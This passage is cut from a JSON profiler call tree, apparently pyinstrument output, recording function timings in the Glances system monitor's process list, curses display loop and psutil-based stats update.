[]}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020000080039608292, \"l429\": 0.0020000080039608292},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020003639947390184, \"l497\": 0.0020003639947390184},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002022,\"attributes\": {\"cProgramlistPlugin\": 0.002021988002525177, \"l309\": 0.002021988002525177},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002022,\"attributes\": {\"cProgramlistPlugin\": 0.002021988002525177, \"l848\": 0.002021988002525177},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.002022,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002022,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001978,\"attributes\": {\"cProcesslistPlugin\": 0.001978145999601111, \"l360\": 0.001978145999601111},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001978,\"attributes\": {\"cProcesslistPlugin\": 0.001978145999601111, \"l340\": 0.001978145999601111},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001978,\"attributes\": {\"cProcesslistPlugin\": 0.001978145999601111, \"l1251\": 0.001978145999601111},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001978,\"attributes\": {\"l462\": 0.001978145999601111},\"children\": [{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001978,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001978,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.004018,\"attributes\": {\"cProcesslistPlugin\": 0.004018291998363566, \"l325\": 0.004018291998363566},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.004018,\"attributes\": {\"cProcesslistPlugin\": 0.004018291998363566, \"l882\": 0.004018291998363566},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.004018,\"attributes\": {\"cProcesslistPlugin\": 0.004018291998363566, \"l902\": 0.004018291998363566},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.004018,\"attributes\": {\"cGlancesThresholds\": 0.004018291998363566, \"l50\": 0.004018291998363566},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.004018,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001988,\"attributes\": {\"cProcesslistPlugin\": 0.0019878439998137765, \"l471\": 0.0019878439998137765},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001988,\"attributes\": {\"cProcesslistPlugin\": 0.0019878439998137765, \"l467\": 0.0019878439998137765},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001988,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.0019940269994549453, \"l309\": 0.0019940269994549453},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.0019940269994549453, \"l882\": 0.0019940269994549453},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001994,\"attributes\": {\"cProcesslistPlugin\": 0.0019940269994549453, \"l902\": 0.0019940269994549453},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001994,\"attributes\": {\"cGlancesThresholds\": 0.0019940269994549453, \"l47\": 0.0019940269994549453},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001994,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000665001105517, \"l429\": 0.002000665001105517},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000665001105517, \"l280\": 0.002000665001105517},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000665001105517, \"l969\": 0.002000665001105517},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.016000,\"attributes\": {\"cProcesslistPlugin\": 0.015999735005607363, \"l506\": 0.014023766001628246, \"l497\": 0.0019759690039791167},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.014024,\"attributes\": {},\"children\": []},{\"identifier\": \"split_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000101\",\"time\": 0.001976,\"attributes\": {\"l114\": 0.0019759690039791167},\"children\": [{\"identifier\": \"split\\u0000<frozen posixpath>\\u0000100\",\"time\": 0.001976,\"attributes\": {\"l104\": 0.0019759690039791167},\"children\": [{\"identifier\": \"_get_sep\\u0000<frozen posixpath>\\u000042\",\"time\": 0.001976,\"attributes\": {\"l46\": 0.0019759690039791167},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001976,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.00199939599406207, \"l361\": 0.00199939599406207},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.00199939599406207, \"l350\": 0.00199939599406207},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002004,\"attributes\": {\"cProcesslistPlugin\": 0.002004447000217624, \"l325\": 0.002004447000217624},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002004,\"attributes\": {\"cProcesslistPlugin\": 0.002004447000217624, \"l882\": 0.002004447000217624},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002004,\"attributes\": {\"cProcesslistPlugin\": 0.002004447000217624, \"l902\": 0.002004447000217624},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002004,\"attributes\": {\"cGlancesThresholds\": 0.002004447000217624, \"l47\": 0.002004447000217624},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"list.extend\\u0000<built-in>\\u00000\",\"time\": 0.001995,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000257001782302, \"l325\": 0.002000257001782302},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000257001782302, \"l848\": 0.002000257001782302},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000257001782302, \"l801\": 0.002000257001782302},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004019970656373, \"l360\": 0.0020004019970656373},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004019970656373, \"l339\": 0.0020004019970656373},\"children\": [{\"identifier\": \"key_exist_value_not_none_not_v\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000236\",\"time\": 0.002000,\"attributes\": {\"l242\": 0.0020004019970656373},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993930036434904, \"l325\": 0.0019993930036434904},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993930036434904, \"l848\": 0.0019993930036434904},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993930036434904, \"l801\": 0.0019993930036434904},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999859941890463, \"l309\": 0.0019999859941890463},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999859941890463, \"l885\": 0.0019999859941890463},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019999859941890463, \"l910\": 0.0019999859941890463},\"children\": [{\"identifier\": \"set\\u0000/home/nicolargo/dev/glances/glances/actions.py\\u000049\",\"time\": 0.002000,\"attributes\": {\"cGlancesActions\": 0.0019999859941890463, \"l51\": 0.0019999859941890463},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__display_top\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000719\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002002458000788465, \"l797\": 0.002002458000788465},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002002458000788465, \"l1094\": 0.002002458000788465},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002002458000788465, \"l1041\": 0.002002458000788465},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"refresh\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001120\",\"time\": 0.002131,\"attributes\": {\"cGlancesCursesStandalone\": 0.0021313200049917214, \"l1122\": 0.0021313200049917214},\"children\": [{\"identifier\": \"window.refresh\\u0000<built-in>\\u00000\",\"time\": 0.002131,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002131,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100367,\"attributes\": {\"cGlancesCursesStandalone\": 0.100367045000894, \"l291\": 0.100367045000894},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100367,\"attributes\": {\"cGlancesCursesStandalone\": 0.100367045000894, \"l260\": 0.100367045000894},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100367,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100367,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100493,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049258299841313, \"l1202\": 0.10049258299841313},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100493,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100493,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100627,\"attributes\": {\"cGlancesCursesStandalone\": 0.1006273569946643, \"l291\": 0.1006273569946643},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100627,\"attributes\": {\"cGlancesCursesStandalone\": 0.1006273569946643, \"l260\": 0.1006273569946643},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100627,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100627,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100405,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040458500589011, \"l1202\": 0.10040458500589011},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100405,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100405,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100258,\"attributes\": {\"cGlancesCursesStandalone\": 0.10025847699580481, \"l291\": 0.10025847699580481},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100258,\"attributes\": {\"cGlancesCursesStandalone\": 0.10025847699580481, \"l260\": 0.10025847699580481},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100258,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100258,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100361,\"attributes\": {\"cGlancesCursesStandalone\": 0.10036055800446775, \"l1202\": 0.10036055800446775},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100361,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100361,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100441,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044139399542473, \"l291\": 0.10044139399542473},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100441,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044139399542473, \"l260\": 0.10044139399542473},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100441,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100441,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100399,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039864599821158, \"l1202\": 0.10039864599821158},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100399,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100399,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100497,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049747500306694, \"l291\": 0.10049747500306694},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100497,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049747500306694, \"l260\": 0.10049747500306694},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100497,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100497,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100418,\"attributes\": {\"cGlancesCursesStandalone\": 0.10041839099721983, \"l1202\": 0.10041839099721983},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100418,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100418,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100474,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047359900636366, \"l291\": 0.10047359900636366},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100474,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047359900636366, \"l260\": 0.10047359900636366},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100474,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100474,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100478,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047842899803072, \"l1202\": 0.10047842899803072},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100478,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100478,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005827990011312, \"l291\": 0.1005827990011312},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005827990011312, \"l260\": 0.1005827990011312},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100583,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100583,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100595,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059450399421621, \"l1202\": 0.10059450399421621},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100595,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100595,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100618,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061775000212947, \"l291\": 0.10061775000212947},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100618,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061775000212947, \"l260\": 0.10061775000212947},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100618,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100618,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100508,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050771399983205, \"l1202\": 0.10050771399983205},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100508,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100508,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055839800043032, \"l291\": 0.10055839800043032},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100558,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055839800043032, \"l260\": 0.10055839800043032},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100558,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100558,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100456,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045569299836643, \"l1202\": 0.10045569299836643},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100456,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100456,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100518,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051847500290023, \"l291\": 0.10051847500290023},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100518,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051847500290023, \"l260\": 0.10051847500290023},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100518,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100518,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100228,\"attributes\": {\"cGlancesCursesStandalone\": 0.10022837800352136, \"l1202\": 0.10022837800352136},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100228,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100228,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.446680,\"attributes\": {\"cGlancesStats\": 0.4466798299981747, \"l287\": 0.4466798299981747},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.446680,\"attributes\": {\"cGlancesStats\": 0.4466798299981747, \"l575\": 0.4466798299981747},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.446680,\"attributes\": {\"l571\": 0.4466798299981747},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.446680,\"attributes\": {\"cGlancesStats\": 0.4466798299981747, \"l274\": 0.4284418910028762, \"l275\": 0.018237938995298464},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.065585,\"attributes\": {\"cDiskioPlugin\": 0.0036684569931821898, \"l1278\": 0.06558481799584115, \"cContainersPlugin\": 0.0039213210038724355, \"cProcesscountPlugin\": 0.057995039998786524},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.065585,\"attributes\": {\"l1295\": 0.06558481799584115},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003668,\"attributes\": {\"cDiskioPlugin\": 0.0036684569931821898, \"l114\": 0.0036684569931821898},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003668,\"attributes\": {\"cDiskioPlugin\": 0.0036684569931821898, \"l1351\": 0.0016035159933380783, \"l1365\": 0.0020649409998441115},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.001604,\"attributes\": {\"cDiskioPlugin\": 0.0016035159933380783, \"l148\": 0.0016035159933380783},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001604,\"attributes\": {\"l2129\": 0.0016035159933380783},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001604,\"attributes\": {\"l1106\": 0.0016035159933380783},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001604,\"attributes\": {\"l1054\": 0.0016035159933380783},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001604,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.002065,\"attributes\": {\"l131\": 0.0020649409998441115},\"children\": [{\"identifier\": \"_deepcopy_list\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000172\",\"time\": 0.002065,\"attributes\": {\"l177\": 0.0020649409998441115},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.002065,\"attributes\": {\"l131\": 0.0020649409998441115},\"children\": [{\"identifier\": \"_deepcopy_dict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000198\",\"time\": 0.002065,\"attributes\": {\"l202\": 0.0020649409998441115},\"children\": [{\"identifier\": \"deepcopy\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/copy.py\\u0000110\",\"time\": 0.002065,\"attributes\": {\"l119\": 0.0020649409998441115},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002065,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": 